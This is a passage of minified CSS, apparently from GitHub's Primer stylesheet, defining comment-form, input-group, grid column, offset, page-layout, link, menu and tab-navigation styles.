dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 